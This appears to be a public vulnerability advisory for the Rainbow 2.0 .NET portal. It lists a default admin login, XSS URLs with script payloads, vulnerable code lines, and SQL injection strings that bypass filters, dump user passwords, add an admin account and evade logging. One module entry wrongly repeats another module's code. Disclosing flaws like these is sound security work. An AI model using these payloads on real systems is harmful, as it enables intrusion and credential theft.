'''
__ __ ____ _ _ ____
| \/ |/ __ \ /\ | | | | _ \
| \ / | | | | / \ | | | | |_) |
| |\/| | | | |/ /\ \| | | | _ <
| | | | |__| / ____ \ |__| | |_) |
|_| |_|\____/_/ \_\____/|____/
'''
abysssec Inc Public Advisory
1) Advisory information
Title : Rainbowportal Multiple Remote Vulnerabilities
Version : Rainbow 2.0 Production/Stable (2.0.0.1881e) VS 2005 | VS 2008 .NET 2.0-3.5
Discovery : http://www.abysssec.com
Vendor : http://www.rainbowportal.net
Impact : Critical
Contact : shahin [at] abysssec.com , info [at] abysssec.com
Twitter : @abysssec
2) Vulnerability Information
Class
1- Login Weakness
2- Non-persistent XSS
3- Persistent XSS
4- SQL Injection
Impact
A successful exploit can allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Remotely Exploitable
Yes
Locally Exploitable
No
3) Vulnerabilities detail
1- Login Weakness:
You can Login to Rainbow with two ways:
1- Insert Email and Password
2- Insert UserID and Password
By Default for Rainbow Admin can login to CMS with (With no Encryption): UserID=1, Password=Admin
Therefor maybe you can login to Rainbow with 1 and Admin.
Valnerable Code:
in ../Rainbow/Security/Security.cs
ln 473: usr = accountSystem.Login(uid, password, portalSettings.PortalID);
2- Non-persistent XSS Vulnerabilities:
In these URLs you can see the Non-persistent XSS Vulnerabilities:
http://Example.com/app_support/FCK.filemanager/imagegallery.aspx?1&"><script>alert(document.cookie)</script>
(this page just accessable for Admin)
http://Example.com/aspnet_client/ELB/ELB_arrowButton.aspx?ctlID=0&chunkSize=200000000000002&hashCode=20&filterValue=<script>alert(123)</script>&filterType=20
(this page accessable for All users)
Reason: the number: 200000000000002 is not an Int value. As a result an Error Accurred.
At all in another steps that you can create an Error in CMS , you can create an XSS with Error Page.
3-Persistent XSS Vulnerabilities:
In these Modules you can find Persistent XSS that data saves with no sanitization:
1- Module name: MileStones
Fields : Title, Status
Access URL:
http://Example.com/DesktopModules/MileStones/MilestonesEdit.aspx?tabID=0&ItemID=1&Mid=2833
Vulnerable Code:
In ../Rainbow/DesktopModules/Milestones/MilestonesEdit.aspx.cs
ln 108: milestonesDb.AddMilestones(ItemID, ModuleID, PortalSettings.CurrentUser.Identity.Email, DateTime.Now, TitleField.Text, DateTime.Parse(EstCompleteDate.Text), StatusBox.Text);
2- Module name: Contacts
Fields : Name, Role, Office, Mobile, Fax, Address
Access URL:
http://Example.com/DesktopModules/Contacts/ContactsEdit.aspx?tabID=181&ItemID=1&mid=2837
Vulnerable Code:
In ../Rainbow/DesktopModules/Contacts/ContactsEdit.aspx.cs
ln 195: contacts.AddContact( ModuleID, ItemID, PortalSettings.CurrentUser.Identity.Email, NameField.Text, RoleField.Text, EmailField.Text, Contact1Field.Text, Contact2Field.Text, FaxField.Text, AddressField.Text);
3- Module name: Blog
Fields : Title, Name, Comments
Access URL:
http://Example.com/DesktopModules/Blog/BlogView.aspx?tabID=181&ItemID=1&mid=2824
Vulnerable Code:
In ../Rainbow/DesktopModules/Blog/BlogView.aspx.cs
ln 133: blogDB.AddBlogComment(ModuleID, ItemID, this.txtName.Text,
this.txtTitle.Text, this.txtURL.Text, this.txtComments.Text);
4- Module name: Announcements
Field: Title
Access URL:
http://Example.com/DesktopModules/Announcements/AnnouncementsEdit.aspx?tabID=181&mID=2823
In ../Rainbow/DesktopModules/Announcements/AnnouncementsEdit.aspx.cs
ln 213: announcementDB.AddAnnouncement(ModuleID, ItemID, PortalSettings.CurrentUser.Identity.Email, TitleField.Text, DateTime.Parse(ExpireField.Text),DesktopText.Text, MoreLinkField.Text, MobileMoreField.Text);
5- Module name: EnhancedLinks
Fields : Title, Description
Access URL:
http://Example.com/DesktopModules/EnhancedLinks/EnhancedLinksEdit.aspx?tabID=181&mID=2820
Vulnerable Code:
In ../Rainbow/DesktopModules/EnhancedLinks/EnhancedLinksEdit.aspx.cs
ln 151: enhancedLinks.AddEnhancedLink(ModuleID, ItemID, PortalSettings.CurrentUser.Identity.Email, TitleField.Text, UrlField.Text, MobileUrlField.Text, Int32.Parse(ViewOrderField.Text), DescriptionField.Text, Src.Text, 0, TargetField.SelectedItem.Text);
6- Module name: Documents
Fields : Filename, Category
Access URL:
http://Example.com/DesktopModules/Documents/DocumentsEdit.aspx?tabID=0&ItemID=1&mid=2841
Vulnerable Code:
In ../Rainbow/DesktopModules/EnhancedLinks/EnhancedLinksEdit.aspx.cs
ln 151: enhancedLinks.AddEnhancedLink(ModuleID, ItemID, PortalSettings.CurrentUser.Identity.Email, TitleField.Text, UrlField.Text, MobileUrlField.Text, Int32.Parse(ViewOrderField.Text), DescriptionField.Text, Src.Text, 0, TargetField.SelectedItem.Text);
4- SQL Injection Vulnerability:
This Vulnerability exists in (Search Site - via DB) Module.
In the Rainbow.Helpers.SearchDefinition class (../Rainbow/Helpers/SearchDefinition.cs) and in the SearchSqlSelect() function (ln 328), the body of query builds in the FilterString(searchStr) function (ln 305) and some words and letters blocks. Words like "select","char", "--", "'", ";" , etc . But no filter exist for "Union","Execute" , "sp_" , etc.
Techniques that we use to bypass filtering are listed fallow:
1- A keyword "AddExtraSQL:" uses in query that Allows you to create any query you prefer. This is inborn Logic of Program. (ln 344)
2- For bypass ";" , "select" and "--" filtering , we use "s;e;l;e;c;t" and ";-;-".
3- The input value that you entered, must be one expression but without any spaces, so we use "/**/" Instead of space.
4- Instead of a Date value we use "1/1/1900"
5- Instead of an unique identifier value we use NEWID() method that was Built in SqlServer.
6- For evade logging, We use "sp_password" in query.
As a result you can input value for Bypass filters and access critical information from Database :
AddExtraSQL:1=1/**/Union/**/s;e;l;e;c;t/**/user,@@version,user,1,2,user,1/1/1900,3,user,NEWID(),user;-;-/**/sp_password
After that results will be shown in DataGrid in Page.
With another value, we can retrieve Information’s of Users:
AddExtraSQL:1=1/**/Union/**/s;e;l;e;c;t/**/Name,Password,Email,UserID,2,Salt,1/1/1900,3,user,NEWID(),user/**/f;r;o;m/**/rb_users;-;-/**/sp_password
That the value of Email is Abstract column and Password is Title column and you can Login to Rainbow with this value.
With another value like this, we can add an Admin User to CMS with "rb_AddUser" stored procedure:
AddExtraSQL:1=1/**/execute/**/dbo.rb_AddUser/**/0,"admin2","admin2@yahoo.com","admin2",null,null;-;-/**/sp_password
For gain better results, for search, you can just select "Announcements" from Module ComboBox.
